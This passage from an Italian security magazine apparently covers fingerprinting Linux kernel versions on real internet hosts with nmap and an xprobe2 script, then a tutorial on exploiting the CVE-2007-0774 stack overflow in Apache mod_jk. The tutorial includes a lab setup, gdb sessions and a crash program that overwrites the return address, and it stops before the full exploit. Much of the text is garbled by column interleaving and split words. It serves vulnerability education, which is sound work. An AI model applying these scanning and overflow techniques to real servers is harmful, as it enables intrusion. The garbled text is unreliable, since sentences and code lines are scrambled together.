IPv4 dal sito dello IANA[11]. Per semplicità i blocchi
contraddistinti dalla dicitura “Various Registries” Per le scansioni con xprobe2 è stato utilizzato il
sono stati scartati. Il range limitato di IP costituente il seguente script bash:campione sondato è stato invece selezionato a partire
#!/bin/shdai blocchi esclusivamente assegnati ad uno dei tre
registri facenti capo all'area Europea, Asiatica e delle IPS=`cat $1`
Americhe (rispettivamente RIPE, APNIC ed ARIN). Per
ciascuno di questi tre comparti territoriali è stato for i in $IPSdoeffettuato uno Sweep Scan con Nmap per identificare xprobe2 $i -M 6 -M 7 -M 8 -M 9 -M 10 >>
gli host attivi nel range:$2_xprobe2_fingerprint.txt
focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW
COME SONO STATI GENERATI I DATI DELLA TABELLA 2 ?
11
focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW
degli host (la lista è infatti composta da IP già identificatidone come attivi).
che eseguito nel modo di seguito indicato:-O Attiva la modalità TCP Fingerprint
# chmod +x scriptA questo punto terminata la raccolta dei dati, gli stessi # ./script IP_active_asia.txt asia
sono stati esaminati e sviluppati fino a giungere alle g e n e r a u n u n i c o f i l e d e n o m i n a t o percentuali allegate in Tabella 2. Lasciamo comunque al asia_xprobe2_fingerprint.txt in cui viene lettore il compito di sperimentare per conto proprio
scritto tutto l'output di xprobe2. questa fase. Inviateci le vostre statistiche all'indirizzo
[email protected] in formato html o pdf,
Per le scansioni con nmap l'intera attività è invece stata possibilmente corredate da grafici e/o tabelle, assieme
svolta in modo più semplice utilizzando direttamente la agli strumenti o agli script che avete creato per
lista degli indirizzi IP ricavata nella fase precedente: generarle. I migliori lavori prodotti verranno condivisi sul
nostro sito Internet o pubblicati direttamente sulla nostra # nmap -iL IP_active_asia.txt -n -P0 -O
rivista!-oN asia_nmap_fingerprint.txt
Dove:[9] http:///www.sys-security.com
[10] http://www.insecure.org-iL Indica ad nmap di prelevare gli indirizzi IP da [11] http://www.iana.org/assignments/ipv4-address-space - Da
s o n d a r e d i r e t t a m e n t e d a l f i l e l i s t a Wikipedia: L'Internet Assigned Numbers Authority è un
IP_active_asia.txt.organismo che ha responsabilità nell'assegnazione degli
indirizzi IP.-P0 Salta i test per verificare l'effettiva raggiungibilità
Per migliorare i risultati delle tue statistiche accedi ai contenuti messi a disposizione dalla redazione su
http://www.segfault.it/SS/001/stats/pack.tar.gz
Tabella 1: Riepilogo schematizzato delle funzionalità di sicurezza implementate di default su piattaforma x86 dalle principali distribuzioni
Linux esistenti.
[*] Tutti i package di sistema più importanti forniti con la distribuzione sono compilati di default con -fstack-protector
[**] Tutti i package di sistema più importanti forniti con la distribuzioni sono compilati di default con -D_FORTIFY_SOURCE=1 e/o 2
[***] Durante la compilazione di qualsiasi sorgente l'opzione -fstack-protector è implicitamente attiva.
kernel 2.2 kernel 2.4 kernel 2.6
Centro Europa (RIPE) 1,3% 37,81% 60,89% Cina (Asia – APNIC) 23,38% 37,76% 38,96%
Stati Uniti (America -ARIN) 2,22% 57,03% 40,75%
Tabella 2: Diffusione degli ultimi tre branch stabili del kernel Linux su un campione di 1000 sistemi sondati
N X P a t c h ( e m u l a z i o n e
s o f t w a r e ) A S L R S S P
F O R T I F Y S O U R C E
F e d o r a C o r e
5 / 6 / 7 ( E x e c -S h i e l d )
( E x e c - S h i e l d )
[ * ] [ * * ]
U b u n t u 6 . 1 0 [ * ] [ * * * ] U b u n t u 7 . 0 4 [ * ] [ * * * ]
O p e n S u S E 1 0 . 2 [ * ] [ * * ] S l a c k w a r e 1 2 D e b i a n 4 . 0 r 1
M a n d r i v a F r e e 2 0 0 7 . 1
[ * ] [ * * ]
12
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
programma. Ciascuna funzione che necessita di o stack overflow è uno degli errori di
argomenti crea solitamente un suo stack frame, programmazione più “antichi” ed allo stesso L un'area dedicata nella quale colloca le proprie tempo ancora oggi più comuni. Secondo un
strutture dati e che viene puntata dal registro EBP rapporto del CWE[1] che studia le falle ricorrenti
(detto anche Base Pointer o più comunemente osservate nel software durante il quinquennio 2001-
Frame Pointer). Questo indirizzo rimane costante overflow [5]2006, la categoria degli ha mantenuto fino
lungo tutta l'esecuzione della funzione per al 2005 la prima posizione, ovvero fino a quando le
permettere al processore di localizzare in modo vulnerabilità web di tipo XSS non sono letteralmente
preciso le variabili o le zone di memoria di interesse, esplose in tutto il mondo (un avvento paragonabile in
al contrario del registro ESP (lo Stack Pointer) che termini di diffusione a quello dei format string
come dice lo stesso nome, punta invece overflow[2] avvenuto tra il 1999 ed il 2000 ma
costantemente alla parte attiva dello stack che è destinato, secondo gli esperti, a perdurare
soggetta a continue variazioni a seguito delle maggiormente nel tempo). Come conseguenza di
operazioni di inserimento/rimozione dei dati questo evento, le problematiche legate ai buffer
(push/pop) o di sottrazione/addizione (sub/add), overflow sono passate in seconda posizione in
termini di frequenza anche se ancora oggi si stima queste ultime utilizzate solitamente per fare spazio
che la loro diffusione sia maggiore di altre alle variabili locali e ripristinare gli stack frame di
vulnerabilità molto in voga come quelle di tipo SQL competenza delle funzioni chiamanti.
Injection o File Inclusion, a dispetto del crescente
interessamento verso la sicurezza Web manifestato Simulazione teorica
di recente da penetration tester e bug hunter. Nella L'esecuzione di un'applicazione scritta in C/C++ lunga lista delle vulnerabilità correlabili alla categoria parte dal blocco main() e si dirama via via verso le dei buffer overflow quelli che si manifestano nello
altre funzioni necessarie al corretto espletamento stack rimangono certamente i più comuni, pur la loro
delle attività applicative.longevità risalibile nel tempo al famoso Morris
worm[3]. Non a caso su siti come securityfocus[4] [1] http://cwe.mitre.org/documents/vuln-trends/index.html: Il sito vengono giornalmente pubblicati bollettini che ospita un database che cataloga le vulnerabilità in base alla loro
dettagliano problematiche software del genere. tipologia e ne studia la diffusione per categoria (non per singolo
Poiché alcuni degli argomenti che tratteremo in futuro bug).
o in questo stesso numero della rivista necessitano di [2] In termini di diffusione i format string overflow hanno avuto conoscenze basilari di cosa è, ma soprattutto di come un picco repentino che è andato però velocemente scemando.
opera uno stack, quella che segue è una trattazione
[3] Robert Tappen Morris, ora professore al Massachusetts dei principali concetti relativi a questo tema. Institute of Technology, fu l'artefice il 2 Novembre del 1988 del Successivamente verrà proposto un esempio reale e primo worm mai affacciatosi su Internet. All'epoca studente della
recente di vulnerabilità collocabile nella categoria Cornell University, progettò il worm a scopo statistico per
degli stack overflow. Per meglio comprendere le determinare l'estensione dell'allora neonata rete, ma la rapidità
parti che seguono sono comunque vivamente con cui si diffuse e le modalità di infezione causarono il blocco
indesiderato di migliaia di sistemi. Il worm sfruttava diverse falle consigliate delle conoscenze anche minime di conosciute tra le quali uno stack overflow nel demone fingerd. programmazione in C e/o C++.Tutta la storia ed il codice del worm possono essere consultati al
seguente indirizzo http://www.morrisworm.com.Lo Stack in pillole su architettura hardware x86
[4] http://www.securityfocus.com
Lo stack è una regione di memoria in cui le [5] Un indirizzo è un valore rappresentato in forma esadecimale applicazioni depositano il contenuto delle variabili, i che nell'architettura hardware x86 ha la dimensione di 4 byte.
parametri passati alle funzioni o i puntatori che Indica un punto ben preciso in memoria. Un esempio di
permettono di raggiungere punti nevralgici del indirizzo è 0xbfffee00.
13
LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
[…]Quando una funzione viene invocata, il programma
e ritorna al blocco main(): solitamente esegue le seguenti operazioni base
(supponiamo che dal main() venga chiamata la […]
funzione xxx): 0x080488c1 <xxx+86>: ret[…]
1) dal blocco main() il programma colloca nello stack L’istruzione “ ” preleva dalla posizione attuale retdello stack (ovvero l'indirizzo puntato dallo Stack (o nei registri del processore) i dati o gli indirizzi di Pointer) i primi 4 byte in memoria. Questi memoria in cui essi risiedono che verranno rappresentano l'indirizzo di ritorno inserito dalla
utilizzati dalla funzione xxx come argomenti; istruzione durante il punto 2.call
2) sempre dal main() il programma invoca con Adesso si è nuovamente sul e l'esecuzione del main() l'istruzione call la funzione xxx. Questa programma riprende da dove era stata originariamente istruzione posiziona nello stack il cosiddetto deviata.indirizzo di ritorno (4 byte) che verrà utilizzato dal
processore per ritornare al blocco main() (ovvero Come si manifesta uno stack overflow nei sistemi all'istruzione subito successiva alla call) quando
privi di tecnologie anti overflowla funzione xxx avrà terminato lo svolgimento dei
suoi compiti. Un overflow nello stack si manifesta nell'esatto
momento in cui l'applicazione prova a memorizzare i […] dati provenienti da input utente in un buffer troppo <main+446>: call 0x804886b <xxx> piccolo per contenerli. Questa circostanza non causa […] l'interruzione immediata del programma come ci si
aspetterebbe, bensì i dati in eccesso continuano ad
essere scritti nello stack, modificando le strutture ed i A questo punto l'esecuzione del programma continua puntatori allocati. Fra questi, l 'alterazione dalla funzione xxx:dell'indirizzo di ritorno è lo scopo ultimo dell'attacco.
Il raggiungimento di questo obiettivo consente di
redirezionare il flusso di esecuzione dell'applicazione 3) la funzione xxx crea il suo stack frame in tre step. verso un qualsiasi punto in memoria, ad esempio uno Dapprima salva nello stack l'indirizzo del frame shellcode precedentemente posizionato nello stack [6]attuale[*], poi rende l'indirizzo puntato dal registro come parte del buffer sovrascritto.
ESP il frame corrente copiandolo in EBP[**], infine
fa spazio per le eventuali variabili locali [***] Pratica con CVE-2007-0774[7](istruzione sub sul valore puntato dal registro
La teoria è inutile se poi non può essere messa in ESP):
pratica! Invece di dimostrare come uno stack overflow [*] 0x0804886b <xxx>: push %ebp può essere abusato su un banale codice di esempio di [**] 0x0804886c <xxx+1>: mov %esp,%ebp
poche righe, analizziamo un'applicazione reale.[***]0x0804886e <xxx+3>: sub $0x118,%esp[…]
4) la funzione xxx svolge le sue operazioni…
5) al termine, ripristina lo stack frame precedente di
competenza del main() (solitamente un'istruzione
add sul valore puntato dal registro ESP):
[…]0x0804886e <xxx+73>: add $0x118,%esp
look at
[6] uno shellcode è la rappresentazione (spesso in formato
esadecimale) di istruzioni del linguaggio macchina, i cui contenuti se
collocati in aree di memoria non limitate, vengono appositamente
eseguiti dal processore. Il suo scopo è solitamente quello di aprire
un canale di accesso remoto.
[7] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-
0774: Il CVE (Common Vulnerabilities and Exposures) fa parte di
un'iniziativa fondata dal dipartimento della sicurezza statunitense
volta a standardizzare, con un codice identificativo univoco, le
singole vulnerabilità conosciute per il software in circolazione.
14
LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
La falla software in questione, resa pubblica lo scorso ciclo giunge al byte di terminazione della prima stringa
marzo, risiede in alcune versioni di Mod_jk, un ( strlen(uri) ) fornita dall'utente. Se questa stringa è
modulo di Apache che permette al web server di più grande di JK_MAX_URI_LEN (ovvero superiore in
comunicare con il servlet engine Jakarta Tomcat per dimensioni ai 4096 byte), il buffer url viene
la divulgazione di applicazioni web dinamiche. completamente saturato ed i dati in eccesso Stando alle informazioni diramate con il bollettino continuano ad essere scritti nello stack fino a ZDI-07-008[8], le versioni 1.2.19 e 1.2.20 del modulo raggiungere il return address. sono soggette ad un'overflow che si manifesta nello
stack. Potendo disporre direttamente dei sorgenti[9] si
può in questo caso analizzarli per identificare l'esatto
punto in cui gli sviluppatori hanno commesso l'errore.
Queste informazioni ci saranno utili per creare in
seguito un exploit remoto funzionante.
La vulnerabilità
La funzione vulnerabile è map_uri_to_worker()
che risiede dentro il file jk_uri_worker_map.c nella
directory native/common. Nella versione 1.2.20 dei
sorgenti del modulo, dopo una serie di controlli
formali, il contenuto di uri (un const char *
proveniente da input utente e passato come
argomento alla funzione) viene travasato byte per
byte nella variabile locale url attraverso un ciclo for.
La var iabi le url è def in i ta a l l ' in iz io d i
map_uri_to_worker() come un array di caratteri
che può contenere al massimo JK_MAX_URI_LEN
byte +1. A sua volta JK_MAX_URI_LEN viene definito
all'interno del file jk_uri_worker_map.h con:
#define JK_MAX_URI_LEN 4095
Ciò significa che url può contenere al massimo una
stringa di 4096 byte. La copia da un buffer all'altro
viene gestita dal codice che segue:
for (i = 0; i < strlen(uri); i++)
if (uri[i] == ';')
break;
else
url[i] = uri[i];
url[i] = '\0';
L'errore risiede proprio in questo blocco. La copia del
contenuto di uri in url termina solamente quando il
COME È STATO RISOLTO IL BUG NELLE VERSIONI DI MOD_JK SUPERIORI ALLA 1.2.20?
Diamo più da vicino uno sguardo a come è stata
modificata la funzione vulnerabile nella versione
1.2.25[10] del modulo (l'ultima disponibile nel momento
in cui si scrive):
[…]
for (i = 0; i < strlen(uri); i++) {
if (i == JK_MAX_URI_LEN) {
jk_log(l, JK_LOG_WARNING,
"Uri %s is invalid. Uri must be smaller then %d chars",
uri, JK_MAX_URI_LEN);
JK_TRACE_EXIT(l);
return NULL;
}
if (uri[i] == ';')
break;
else {
url[i] = uri[i];
[…]
}
}
url[i] = '\0';
Gli sviluppatori hanno incluso un nuovo blocco
condizionale (if) che controlla il valore raggiunto dalla
variabile numerica “i” (la posizione attuale del byte di
uri che deve essere copiato in url) con
JK_MAX_URI_LEN (la dimensione massima accettata
per l'input utente). Nel caso in cui “i” fosse uguale a
“4095”, nei log generati dal modulo verrebbe scritto un
messaggio d i avviso re lat ivo a l l 'er rore e
map_uri_to_worker() r i t o r n e r e b b e
immediatamente alla funzione chiamante, evitando di
generare uno stack overflow.
look at
[8] http://www.zerodayinitiative.com/advisories/ZDI-07-008.html
[9] http://archive.apache.org/dist/tomcat/tomcat-
connectors/jk/source/jk-1.2.20/
[10] http://archive.apache.org/dist/tomcat/tomcat-
connectors/jk/source/jk-1.2.25/
15
LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
Creare un exploit funzionante in ogni circostanza). Nel nostro caso ciò significa
installare e configurare Apache, installare Jakarta
Per evitare di scontrarsi con una qualsiasi delle Tomcat ed il connettore mod_jk. Questi step
tecnologie anti overflow presenti nelle recenti vengono descritti in dettaglio nell'apposito box qui
versioni di Linux e comprendere come un vanilla sotto. Prima di proseguire nella lettura dell'articolo, è
stack overflow può essere sfruttato con successo, è bene accertarsi quindi di aver portato a termine tutte
buona norma per il momento fare pratica con una le procedure lì descritte.
distribuzione del pinguino completamente sprovvista
di questo genere di misure di protezione (soprattutto
se questo è il vostro primo hack). Per i nostri test
abbiamo deciso di utilizzare una Red Hat 7.2[11] [11] Le due ISO di “enigma” (nome in codice per Red Hat 7.2)
installata all'interno di una istanza VMWare. Prima di non sono più ufficialmente fornite da Red Hat ma possono
essere ancora prelevate da svariati siti come introdurre le operazioni che porteranno alla http://redhat.lsu.edu/dist/7.2/iso/ oppure creazione di un exploit remoto è naturalmente http://xfiles.erin.utoronto.ca/pub/unix/redhat/7.2/en/iso/i386/
necessario predisporre l'ambiente di test (questo vale
PREDISPORRE L'AMBIENTE DI TEST PER LA VULNERABILITÀ CVE-2007-0774
Attenzione: le configurazioni che seguono sono volte esclusivamente a creare un ambiente di test privato e non sono
pertanto indicate per configurare un sistema di produzione. Gli amministratori di sistema che dalle seguenti linee guida
vorranno trarre degli spunti per configurare uno o più server che offrono servizi online, devono comprendere che essi
necessiteranno della definizione di permessi più accorti di quelli menzionati e riportati qui sotto.
Installare Apache
Il primo passo da compiere è installare Apache. Per semplificare questo task è sufficiente utilizzare la versione già fornita
con Red Hat 7.2. In fase di installazione della distribuzione si seleziona un deployment di tipo Custom e tra le funzionalità a
cui il sistema sarà adibito si sceglie Web Server. E' fondamentale selezionare anche il gruppo di pacchetti relativo agli
strumenti di sviluppo software.
Installare JSDK
L'unico requisito di Jakarta Tomcat è il Java Development Kit (JDK)[12]. La versione fornita è autoestraente. Dopo averla
collocata nel punto desiderato del filesystem, è sufficiente (da utente root) digitare:
# chmod +x j2sdk-1_4_2_15-linux-i586.bin
# ./j2sdk-1_4_2_15-linux-i586.bin
La directory estratta deve essere poi spostata in /usr/java:
# mkdir /usr/java
# mv j2sdk1.4.2_15 /usr/java
Successivamente va modificato il file /etc/profile aggiungendo le seguente righe:
# JAVA_HOME=”/usr/java/j2sdk1.4.2_15”
# export JAVA_HOME
look at
16
LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
Si salva il file e si digita da shell:
# . /etc/profile
Così facendo la variabile d'ambiente JAVA_HOME verrà immediatamente creata nel proprio contesto e non sarà necessario
riloggarsi al sistema.
Creare gli account utente
Si procede adesso alla creazione di un utente e di un gruppo dedicato per le applicazioni Web dinamiche e statiche che
gireranno per mezzo di Tomcat ed Apache:
# groupadd wwwsite
# useradd –g wwwsite wwwsite
Installare Tomcat
Si decomprime la versione 5.0.28 di Tomcat[12]:
# tar xvfz jakarta-tomcat-5.0.28.tar.gz
La directory estratta viene spostata in /usr/local:
# mv jakarta-tomcat-5.0.28 /usr/local
Si modificano il gruppo e l'utente owner di questa directory:
# chown –R wwwsite.wwwsite /usr/local/jakarta-tomcat-5.0.28
A questo punto si è pronti per lanciare il servizio:
# cd /usr/local/jakarta-tomcat-5.0.28/bin
# ./startup.sh
Per testare se Tomcat sta funzionando è sufficiente aprire il browser, digitare “http://ip_del_server:8080” e verificare la
corretta visualizzazione della pagina di benvenuto con alla sinistra alcuni link che puntano a documentazione e codice di
esempio. Lanciare alcuni dei codici di esempio cliccandoci semplicemente sopra. Dopo aver accertato il loro
funzionamento è possibile fermare il servizio:
# ./shutdown.sh
Installare il connettore mod_jk
Si decomprime la versione 1.2.20 del tomcat-connectors[12] (il modulo mod_jk che prende le richieste degli utenti che
pervengono ad Apache e le rigira a Tomcat) nel punto desiderato del filesystem:
# tar xvfz tomcat-connectors-1.2.20-src.tar.gz
Si compila il pacchetto:
look at
17
LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
# cd ./tomcat-connectors-1.2.20-src/native
# ./buildconf.sh
# ./configure –-with-apxs=/usr/sbin/apxs
# make
Al termine di questa procedura il modulo creato deve essere spostato nella directory in cui risiedono tutti i moduli di Apache:
# cd ./apache-1.3
# cp mod_jk.so.0.0.0 /etc/httpd/modules/mod_jk.so
Creare il tree di directory
A questo punto si crea l'albero delle directory in cui risiederanno in seguito una pagina di esempio statica (in HTML classico)
ed una dinamica (scritta in JSP):
# mkdir /home/wwwsite/webapps/test.com
# mkdir /home/wwwsite/webapps/test.com/logs
# mkdir /home/wwwsite/webapps/test.com/test
# mkdir /home/wwwsite/webapps/test.com/test/WEB-INF
# mkdir /home/wwwsite/webapps/test.com/test/WEB-INF/classes
Vanno quindi impostati i relativi permessi:
# chmod 755 /home/wwwsite/webapps
# chmod 755 /home/wwwsite/webapps/test.com
# chmod 755 /home/wwwsite/webapps/test.com/test
Configurare Tomcat
Siamo così giunti alla fase della configurazione dei servizi. Il primo step per Tomcat consiste nel definire in che modo il
modulo mod_jk potrà comunicare con il servlet engine. Queste informazioni sono contenute nel file
workers.properties che dovrà essere collocato nella directory /etc/httpd/conf:
# workers.properties - ajp13
#
# List workers
worker.list=wrkr
#
# Define wrkr
worker.wrkr.port=8009
worker.wrkr.host=localhost
worker.wrkr.type=ajp13
worker.wrkr.socket_timeout=300
In questo caso il modulo Apache invierà le richieste degli utenti sulla porta TCP 8009 dell'interfaccia locale localhost
(127.0.0.1) in cui starà in ascolto Tomcat. Il forward verrà espletato attraverso il protocollo Ajpv 13 su canale TCP/IP.
look at
18
LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
Il secondo file di configurazione è invece server.xml che va collocato in /usr/local/jakarta-tomcat-
5.0.28/conf/. Nel nostro caso quello esistente può essere tranquillamente sovrascritto:
<Server port="8005" shutdown="test" debug="0">
<Service name="Tomcat-Apache">
<Connector address="127.0.0.1"
port="8009"
minProcessors="5"
maxProcessors="75"
enableLookups="false"
protocol="AJP/1.3"
debug="0"/>
<Engine name="appserver"
debug="0"
defaultHost="test.com">
<Host name="test.com"
appBase="/home/wwwsite/webapps"
autoDeploy="false"
deployOnStartup="false"
unpackWARs="false"
deployXML="true"
debug="0"/>
</Engine>
</Service>
</Server>
Qui in pratica vengono definite le porte TCP in cui Tomcat starà in ascolto (8005 per la ricezione del segnale di stop del
servizio ed 8009 per ricevere e soddisfare le richieste provenienti da Apache). Viene inoltre definito un host virtuale
test.com e la locazione nel disco in cui le pagine del sito risiedono (direttive “Host name” ed “appBase”).
Il terzo ed ultimo file di configurazione per Tomcat va collocato all'interno di un nuovo tree di directory:
# mkdir –p /usr/local/jakarta-tomcat-5.0.28/conf/appserver/test.com
# touch /usr/local/jakarta-tomcat-5.0.28/conf/appserver/test.xml
Il file test.xml va infine popolato con le seguenti direttive:
<Context path=""
docBase="test.com/test"
reloadable="true"
debug="0"/>
Configurare Apache
Il file di configurazione di apache (/etc/httpd/conf/httpd.conf) consta di tre aree appositamente marcate al suo
interno come:
look at
19
LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
1. Global Environment
2. Main Server Configuration
3. Virtual Hosts
Ciascuna di queste deve essere opportunamente modificata. Nella sezione Global Environment, subito dopo i punti in cui
vengono caricati i moduli mod_dir.so e mod_cgi.so, si devono aggiungere le direttive:
LoadModule jk_module modules/mod_jk.so
AddModule mod_jk.c
All'inizio della sezione Main Server Configuration risiedono poi le direttive User e Group che indicano sotto quale utente
e gruppo i processi figli di Apache devono essere eseguiti. Vanno modificate nel seguente modo:
User wwwsite
Group wwwsite
Nella parte bassa della stessa sezione vanno inoltre aggiunte queste altre direttive:
JkWorkersFile "/etc/httpd/conf/workers.properties"
JkLogFile "/etc/httpd/logs/mod_jk.log"
JkLogLevel info
JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"
Infine la sezione Virtual Hosts deve così essere modificata:
NameVirtualHost 192.168.1.1:80
<VirtualHost 192.168.1.1:80>
ServerAdmin [email protected]
ServerName www.test.com
DocumentRoot /home/wwwsite/webapps/test.com/test
ErrorLog /home/wwwsite/webapps/test.com/logs/error_log
CustomLog /home/wwwsite/webapps/test.com/logs/access_log common
JkMount /*.jsp wrkr
JkMount /servlet/* wrkr
# Nega l'accesso diretto a to WEB-INF
<LocationMatch ".*WEB-INF.*">
AllowOverride None
deny from all
</LocationMatch>
</VirtualHost>
In questo caso 192.168.1.1 è l'indirizzo IP di una delle interfacce di rete della macchina utilizzata come web server di
test. Ovviamente questa informazione va modificata secondo la vostra attuale configurazione di rete.
Ultime impostazioni
A questo punto si è giunti al completamento della configurazione. Una volta copiati i due script di prova[12] index.html e
test.jsp nella directory /home/wwwsite/webapps/test.com/test e lanciati i servizi Tomcat ed Apache:
look at
20
LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
# cd /usr/local/jakarta-tomcat-5.0.28/bin
# ./startup.sh
# /etc/init.d/httpd start
puntate il browser sugli URL http://ip_del_server/ e http://ip_del_server/test.jsp. Se vengono visualizzate entrambe le
pagine l'ambiente di test sarà stato installato con successo. Adesso siete pronti per la parte più divertente: l'accertamento e
l'exploiting della vulnerabilità CVE-2007-0774.
[12] Per semplificare la predisposizione dell'ambiente di test abbiamo incluso in un unico package tutte le componenti necessarie
(sorgenti e file di configurazione). Il package può essere prelevato da http://www.seg-fault.net/SS/001/vanillab0f/all_pack.tar.gz
Fase 1: Determinare quanti byte sono necessari Nel secondo caso invece bisognerà identificare il
per raggiungere il return address dal buffer punto esatto interessato, ovvero appena prima che la
saturato funzione ritorni:
(gdb) disas map_uri_to_workerUna volta predisposto l'ambiente di test e verificatone ---Type <return> to continue, or q il funzionamento, Apache è pronto per ricevere le <return> to quit---
richieste dagli utenti. Prima di scrivere però l'exploit […]
vero e proprio è necessario tracciare i l 0x403c3b70 <map_uri_to_worker+1376>: pop
comportamento del modulo mod_jk avviando una %ebp
sessione di debugging. In questo caso ci avvarremo di 0x403c3b71 <map_uri_to_worker+1377>: ret
gdb per agganciarci ad uno dei processi figli del web End of assembler dump.server. Dapprima si determinano i relativi pid:
(gdb) break *0x403c3b70 [**]
# ps –uax | grep httpd | grep wwwsite Breakpoint 2 at 0x403c3b70: file
wwwsite 1616 0.0 3.3 46752 6468 ? S 06:14 0:00 jk_uri_worker_map.c, line 636.
/usr/sbin/httpd
wwwsite 1617 0.0 3.3 46752 6468 ? S 06:14 0:00 A questo punto si istruisce il processo che può
/usr/sbin/httpdcontinuare normalmente la sua esecuzione:
[…]
(gdb) cIn questa circostanza si seleziona il primo e si procede Continuing.con la fase di attach indicando da linea di comando il
punto in cui risiede il file eseguibile dell'applicazione Adesso disponiamo di un ambiente pronto al oggetto del test ed il pid prescelto: tracciamento di uno dei processi figli di Apache, ma
serve l'evento scatenante per ottenere le informazioni # gdb /usr/sbin/httpd 1616
su cui basarsi per costruire l'exploit. Questo evento è
semplicemente una richiesta tale che permetta Dopo aver attraversato la lista dei moduli caricati all'overflow di manifestarsi. (tasto Invio), si imposta un breakpoint[13] all'inizio[*] ed
uno subito prima dell'uscita[**] della funzione
vulnerabile. Il primo obiettivo è semplicemente [13] Un breakpoint è un punto di arresto nel normale flusso di
esecuzione di un programma. Viene utilizzato nelle sessioni di raggiungibile digitando dal prompt del gdb:debugging per monitorare lo stato dei registri del processore o
delle aree di memoria di un'applicazione in un preciso momento (gdb) break *map_uri_to_worker [*]
(nel nostro caso alcuni attimi prima del manifestarsi dello stack Breakpoint 1 at 0x403c3610: file
overflow e poco prima del ritorno della funzione vulnerabile).jk_uri_worker_map.c, line 536.
look at
21
LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
Sappiamo che il buffer che traboccherà (url) potrà condizione descritta sopra. Al momento abbiamo
infatti messo sotto debugging solamente uno dei figli contenere al massimo 4096 byte, ma quanti byte
di Apache (di default ne vengono caricati 8 in saranno necessari con esattezza per sovrascrivere
un'installazione standard di Red Hat 7.2) e non è l'indirizzo di ritorno della funzione vulnerabile? Nel
detto che la prima richiesta HTTP inviata venga nostro caso non si può disporre inizialmente di questa
gestita proprio dal processo che stiamo tracciando. informazione se non in modo approssimativo,
pertanto l'unica cosa logica da fare è inviare al web
La prima interruzione momentanea del processo è server una richiesta più grande della dimensione del
relativa al primo breakpoint. A questo punto buffer “url” ed analizzare cosa succede. L'evento
l'overflow non si è ancora manifestato in quanto scatenante in questione sarà dunque generato dal
siamo nella fase iniziale di esecuzione della funzione sorgente di test mostrato in Figura 1. Il codice è ben
vulnerabile. Continuiamo quindi con il caricamento commentato ma in sintesi si occupa di inviare una
dell'applicazione:richiesta HTTP con un URI[14] di 4128 byte (incluso il
carattere slash) che mira a mandare in crash il (gdb) cprocesso debuggato. La parte più interessante del Continuing.sorgente è l'array di caratteri crash:
Subito dopo aver lanciato il comando “c” nel prompt di char crash [] =
"BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"; gdb, la funzione map_uri_to_worker() esegue tutte
le istruzioni fino al secondo breakpoint, ovvero poco
Dopo aver riempito con delle “A” per 4095 byte il prima del suo ritorno. In questo momento il buffer url
buffer buf (l'URI che verrà inviato come parte della è già stato sovrascritto e dovrebbe aver alterato il
return address.. L'istruzione successiva al richiesta HTTP al web server), successivamente
breakpoint corrente è “ret”, ciò significa che il viene copiato al suo interno il contenuto di crash (32
processore prenderà i primi 4 byte che troverà nello byte). Il motivo di questa accortezza sarà evidente più
stack e continuerà l'esecuzione dell'applicazione da avanti, quando si avrà necessità di determinare con
quell'indirizzo. Diamo un breve sguardo a quale esattezza quanti byte saranno necessari per
indirizzo punta attualmente il registro ESP (lo Stack sovrascrivere il return address. Adesso compiliamo
Pointer):ed eseguiamo l'applicazione:
(gdb) p $esp$ gcc crash.c –o crash
$1 = (void *) 0xbffff578$ ./crash ip_macchina_di_test 80
Adesso osserviamo il contenuto dei prossimi 4 byte Nella finestra in cui è stata lanciata la sessione di
che si trovano a partire da quest'area di memoria debugging dovrebbe quindi apparire a video un
(quelli che la successiva istruzione “ret” preleverà messaggio simile al seguente:
dallo stack ed utilizzerà come indirizzo di ritorno):
[Switching to Thread 1024 (LWP 1616)]
Breakpoint 1, map_uri_to_worker (gdb) x/4bx $esp+4
(uw_map=0x8174000, uri=0x817c0b8 "/", 'A' 0xbffff57c: 0x49 0x49 0x49 0x49
<repeats 199 times>..., l=0x40412580) at
jk_uri_worker_map.c:536
[14] Per URI si intende in questo caso la risorsa HTTP richiesta.
Ad esempio in http://10.10.10.10/index.html, l'URI è Nel caso in cui ciò non fosse successo, lanciare
rappresentato da “index.html”.crash più volte fino a quando non si verifica la
look at
22
LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
0x49494949 sarà quindi l'indirizzo che il processore cresce verso indirizzi decrescenti e viceversa
decresce verso indirizzi crescenti, pertanto il buffer utilizzerà come return address per ritornare alla
“buf” si troverà in un indirizzo rappresentato da un funzione che ha precedentemente invocato
map_uri_to_worker(). La conversione da valore più basso rispetto al return address, pur
trovandosi effettivamente prima nello stack. Questo esadecimale ad ASCII di questo valore è “IIII”,
ad esempio è ciò che viene visualizzato a video esattamente le ultime quattro lettere contenute
analizzando i 2000 byte successivi all'indirizzo all'interno dell'array di caratteri “crash” nel sorgente di
“0xbffff578” a cui vengono sottratti 1400 byte (cioè esempio mostrato in Tabella 1. Ciò oltre ad indicarci
partendo da 0xbffff000):che è effettivamente possibile sovrascrivere in modo
arbitrario l'indirizzo di ritorno della funzione
(gdb) x/2000bx 0xbffff578-1400vulnerabile, indica allo stesso tempo quanti byte sono 0xbffff000: 0x41 0x41 0x41 0x41 0x41 0x41 necessari per giungere alla sua alterazione. Essendo 0x41 0x410x49494949 un indirizzo non valido (ovvero un 0xbffff008: 0x41 0x41 0x41 0x41 0x41 0x41
indirizzo non allocato nello spazio di indirizzamento 0x41 0x41
dell'applicazione debuggata e quindi non accessibile 0xbffff010: 0x41 0x41 0x41 0x41 0x41 0x41
dal processore), l'esecuzione dell'istruzione 0x41 0x41
successiva al secondo breakpoint (ret) causerà il […]crash del processo. 0xbffff060: 0x41 0x41 0x41 0x41 0x41 0x41
0x41 0x41
(gdb) c 0xbffff068: 0x41 0x41 0x41 0x41 0x41 0x41
